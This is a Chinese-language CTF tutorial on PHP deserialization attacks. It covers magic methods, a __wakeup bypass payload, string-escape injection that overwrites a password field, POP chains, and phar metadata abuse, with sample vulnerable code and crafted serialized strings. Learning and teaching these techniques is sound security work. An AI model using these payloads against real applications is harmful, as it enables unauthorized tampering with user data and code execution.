常见魔术方法

  • __construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  • __destruct():析构函数,当对象被销毁时会自动调用。
  • __wakeup() :如前所提,unserialize()时会自动调用。
  • call():在对象中调用一个不可访问方法时,call() 会被调用。
  • __get():读取不可访问(protected 或 private)或不存在的属性的值时会被调用。
  • invoke():当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用。

    __wakeup函数绕过

    PHP 有个 Bug,触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10,该漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过 __wakeup 函数的执行,例如: ```php <?php class xctf { public $flag = “111”;

    public function __wakeup() {

    1. exit('bad requests');

    } }

//echo serialize(new xctf()); echo unserialize($_GET[‘code’]); echo “flag{**}”; ?>

  1. 使用这个 payload 绕过`__wakeup`函数
  2. ```php
  3. //O:4:"xctf":1:{s:4:"flag";s:3:"111";}
  4. ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

这个本质上是因为反序列化失败,从而不会触发__wakeup,参考https://paper.seebug.org/866/#php_2
有些题目会这么考:

  1. class hack{
  2. public function __destruct(){
  3. // code
  4. }
  5. }
  6. $a = unserialize($_GET['a']);
  7. if(preg_match('/hack/i',serialize($a))){
  8. die("hack");
  9. }

先一个unserialize,并将值给$a,然后再serialize。
如果说想要反序列化出来hack对象,执行其中的__destruct方法,那么传入的字符串中是肯定要带hack的,而这就过不了preg_match,但是如果修改序列化字符串,让其反序列化失败,此时$a的值为bool(false),就可以成功绕过下面的preg_match。

php反序列化字符串逃逸

先看个例子:

  1. <?php
  2. function filter($string){
  3. return str_replace('x','yy',$string);
  4. }
  5. $username = "peri0d";
  6. $password = "aaaaa";
  7. $user = array($username, $password);
  8. var_dump(serialize($user));
  9. echo '\n';
  10. $r = filter(serialize($user));
  11. var_dump($r);
  12. echo '\n';
  13. var_dump(unserialize($r));

正常序列化得到的是a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
而如果在username里面加上几个x,那么由于filter函数的原因,x会被替换成yy,而这显然会多出来一个字符,最后变成:

  1. a:2:{i:0;s:7:"peri0dx";i:1;s:5:"aaaaa";}==>a:2:{i:0;s:7:"peri0dyy";i:1;s:5:"aaaaa";}

此时反序列化肯定是会报错的。
那么如果我们的目的是修改密码,该怎么利用这个漏洞
首先PHP 在反序列化时,底层代码是以;作为字段的分隔,以 } 作为结尾(字符串使用引号进行闭合),并且是根据长度判断内容的。
那么我们就可以通过手动闭合字符串,来添加一些额外的数据。
将username设置为peri0d";i:1;s:6:"hacker";},此时得到的数据:

  1. string(60) "a:2:{i:0;s:26:"peri0d";i:1;s:6:"hacker";}";i:1;s:5:"aaaaa";}"
  2. array(2) {
  3. [0]=>
  4. string(26) "peri0d";i:1;s:6:"hacker";}"
  5. [1]=>
  6. string(5) "aaaaa"
  7. }

之所以没有修改成功是因为php严格按照前面的数字来读取字符串,有26个就会往后读26个,并不考虑中间是否有;"{}
但是前面已知x会被替换成yy,显然替换后会多一个字符,那么就会导致反序列化读取的字符串数目少一个,";i:1;s:6:"hacker";}总共有20个字符,也就是说需要20个x,就可以实现修改密码:

  1. string(80) "a:2:{i:0;s:46:"peri0dxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"hacker";}";i:1;s:5:"aaaaa";}"
  2. string(100) "a:2:{i:0;s:46:"peri0dyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:6:"hacker";}";i:1;s:5:"aaaaa";}"
  3. array(2) {
  4. [0]=>
  5. string(46) "peri0dyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"
  6. [1]=>
  7. string(6) "hacker"
  8. }

POP链

基本上就是各种魔术方法的利用

  • __construct() //当一个对象创建时被调用
  • __destruct() //当一个对象销毁时被调用
  • __wakeup() //使用unserialize时触发
  • __sleep() //使用serialize时触发
  • __destruct() //对象被销毁时触发
  • __call() //在对象上下文中调用不可访问的方法时触发
  • __get() //用于从不可访问的属性读取数据
  • __set() //用于将数据写入不可访问的属性
  • __toString() //把类当作字符串使用时触发
  • __invoke() //当脚本尝试将对象调用为函数时触发

    利用 phar 拓展 php 反序列化

    首先生成一个phar文件:

    1. <?php
    2. class TestObject {
    3. }
    4. @unlink("phar.phar");
    5. $phar = new Phar("phar.phar"); //后缀名必须为phar
    6. $phar->startBuffering();
    7. $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    8. $o = new TestObject();
    9. $phar->setMetadata($o); //将自定义的meta-data存入manifest
    10. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    11. //签名自动计算
    12. $phar->stopBuffering();
    13. ?>

    010 editor打开,可以看出来metadata是以序列化的形式存进去的
    image.png
    那么有序列化就一定有反序列化,受影响的函数:
    image.png